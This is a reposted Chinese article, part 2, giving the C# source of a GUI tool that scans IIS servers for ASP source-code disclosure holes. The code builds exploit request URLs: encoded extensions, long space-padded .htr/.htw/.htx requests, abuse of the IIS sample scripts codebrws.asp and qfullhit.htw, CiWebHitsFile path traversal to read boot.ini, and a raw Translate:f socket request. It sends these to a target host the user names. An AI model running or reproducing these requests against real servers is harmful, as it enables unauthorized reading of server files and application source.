当前位置:
首页 > 编程开发 > Objective-C编程 >
-
一个用c#写的扫描asp源码漏洞的应用程序(2)
作者: bigeagle | ||
//主要方法 protected void btnGo_Click (object sender, System.EventArgs e) { //解析url string strServer = this.txtServer.Text ; string strUrl = this.txtFileName.Text ; char [] point = {'.'} ; //定义分割符为"." char[] line = {'/'} ; //定义分割符为"." string [] arrString = strUrl.Split(line) ; //求asp文件全名 string strFileName = arrString[arrString.Length - 1] ; //求从根目录下的路径 string strPath = strUrl.Substring( 0 , strUrl.Length - strFileName.Length) ; //解析文件全名 arrString = strFileName.Split(point) ; //求文件扩展名 string strLast = arrString[arrString.Length - 1] ; //求文件名 string strFirst = strFileName.Substring( 0 , strFileName.Length - strLast.Length - 1) ; //使按钮、输入框等失效 this.txtServer.ReadOnly = true ; this.txtFileName.ReadOnly = true ; this.btnClear.Enabled = false ; this.btnGo.Enabled = false ; if (this.txtServer.Text == "http://" || this.txtFileName.Text == "" || this.txtServer.Text.Trim()== "" || this.txtServer.Text.Substring(0,7) != "http://") { MessageBox.Show("请输入正确的主机名和文件名!") ; this.txtServer.Focus() ; } else { this.txtResult.Visible = true ; this.txtResult.ReadOnly = true ; this.barStatus.Text = "正在连结主机…" ; string strRequestFile ; switch (this.cboMethod.SelectedIndex) { case 0: //直接读取 strRequestFile = strServer + strUrl ; break ; case 5 : //%2e%41sp strRequestFile = strServer + strPath + strFirst + "%2e%41sp" ; break ; case 8 : //longhtr strRequestFile = strServer + strUrl + "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ; break ; case 10: //codebrws.asp strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source=" + strUrl ; break ; case 11: //showcode.asp strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source=" + "/msadc/../../../../boot.ini" ; break; case 12 : //null.htw strRequestFile = strServer + "/null.htw?CiWebHitsFile=" + strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ; break ; case 13 : //qfullhit.htw strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?" + "CiWebHitsFile=/../../boot.ini&CiRestriction=none" + "&CiHiliteType=Full"; break ; case 14 : //qsumrhit.htw strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?" + "CiWebHitsFile=/../../boot.ini&CiRestriction=none" + "&CiHiliteType=Full"; break ; case 15 : //query.idq strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx"; break ; case 16: //search/qfullhit.htw strRequestFile = strServer + "/iissamples/exair/search/qfullhit.htw?" + "CiWebHitsFile=/../../boot.ini&CiRestriction=none" + "&CiHiliteType=Full"; break ; case 17: // search/qsumrhit.htw strRequestFile = strServer + "/iissamples/exair/search/qsumrhit.htw?" + "CiWebHitsFile=/../../boot.ini&CiRestriction=none" + "&CiHiliteType=Full"; break ; case 18: //iirturnh.htw strRequestFile = strServer + "/iishelp/iis/misc/iirturnh.htw?" + "CiWebHitsFile=/../../boot.ini&CiRestriction=none" + "&CiHiliteType=Full"; break ; case 19: //.htw strRequestFile = strServer + strUrl + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20.htw?" + "CiWebHitsFile=/../../boot.ini&CiRestriction=none" + "&CiHiliteType=Full" ; break ; default: strRequestFile = strServer + strUrl + this.cboMethod.Text ; } this.barStatus.Text = "发送请求:" + (strRequestFile.Length >= 50 ? strRequestFile.Substring(0 , 50) :strRequestFile) + "..."; string strResult ; //如果不是translate:f方法则可以直接发送http请求 if (this.cboMethod.SelectedIndex != 20) { //直接发送http请求 strResult = Get_Http(strRequestFile) ; this.barStatus.Text += "完成。" ; strResult = strResult == "" ? "未找到!" : strResult ; this.txtResult.Text = strResult ; } else //translate:f方法需要建立tcp/ip连接 { string strRequest = "GET " + strServer + strUrl + "\r\nHTTP/1.0\r\nTranslate:f\r\n" ; strResult = Get_Socket_Request(strServer , strRequest , 80) ; this.barStatus.Text += "完成。" ; strResult = strResult == "" ? "未找到!" : strResult ; this.txtResult.Text = strResult ; } } //使按钮、输入款等恢复 this.txtServer.ReadOnly = false ; this.txtFileName.ReadOnly = false ; this.btnClear.Enabled = true ; this.btnGo.Enabled = true ; } //通过同server建立tcp/ip连接,发送socket命令 private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort) { //Set up variables and String to write to the server Encoding ASCII = Encoding.Default ; string Get = a_strRequest + "Connection: Close\r\n\r\n"; //string Get = Byte[] ByteGet = ASCII.GetBytes(Get); Byte[] RecvBytes = new Byte[256]; String strRetPage = null; // IPAddress and IPEndPoint represent the endpoint that will // receive the request IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7)); IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort); //Create the Socket for sending data over TCP Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream, ProtocolType.ProtTCP ); // Connect to host using IPEndPoint if (s.Connect(EPhost) != 0) { strRetPage = "Unable to connect to host"; return strRetPage; } // Sent the GET text to the host s.Send(ByteGet, ByteGet.Length, 0); // Receive the page, loop until all bytes are received Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0); strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes); while (bytes > 0) { bytes = s.Receive(RecvBytes, RecvBytes.Length, 0); strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes); } return strRetPage ; } //获取http页面函数 private string Get_Http(string a_strUrl) { string strResult ; HttpWebRequest myReq = (HttpWebRequest) WebRequestFactory.Create(a_strUrl) ; try { HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse(); Stream myStream = HttpWResp.GetResponseStream () ; StreamReader sr = new StreamReader(myStream , Encoding.Default); StringBuilder strBuilder = new StringBuilder(); while (-1 != sr.Peek()) { strBuilder.Append(sr.ReadLine()+"\r\n"); } strResult = strBuilder.ToString(); } catch(Exception exp) { strResult = "错误:" + exp.Message ; } return strResult ; } //退出 protected void mnuExit_Click (object sender, System.EventArgs e) { if (MessageBox.Show("真的退出吗?" , "退出系统" , MessageBox.YesNo) == DialogResult.Yes) { this.Close () ; } } //主函数 public static void Main(string[] args) { Application.Run(new Form1()); } } } |
最新更新
nodejs爬虫
Python正则表达式完全指南
爬取豆瓣Top250图书数据
shp 地图文件批量添加字段
爬虫小试牛刀(爬取学校通知公告)
【python基础】函数-初识函数
【python基础】函数-返回值
HTTP请求:requests模块基础使用必知必会
Python初学者友好丨详解参数传递类型
如何有效管理爬虫流量?
2个场景实例讲解GaussDB(DWS)基表统计信息估
常用的 SQL Server 关键字及其含义
动手分析SQL Server中的事务中使用的锁
openGauss内核分析:SQL by pass & 经典执行
一招教你如何高效批量导入与更新数据
天天写SQL,这些神奇的特性你知道吗?
openGauss内核分析:执行计划生成
[IM002]Navicat ODBC驱动器管理器 未发现数据
初入Sql Server 之 存储过程的简单使用
SQL Server -- 解决存储过程传入参数作为s
JavaScript判断两个数组相等的四类方法
js如何操作video标签
React实战--利用甘特图和看板,强化Paas平
【记录】正则替换的偏方
前端下载 Blob 类型整理
抽象语法树AST必知必会
关于JS定时器的整理
JS中使用Promise.all控制所有的异步请求都完
js中字符串的方法
import-local执行流程与node模块路径解析流程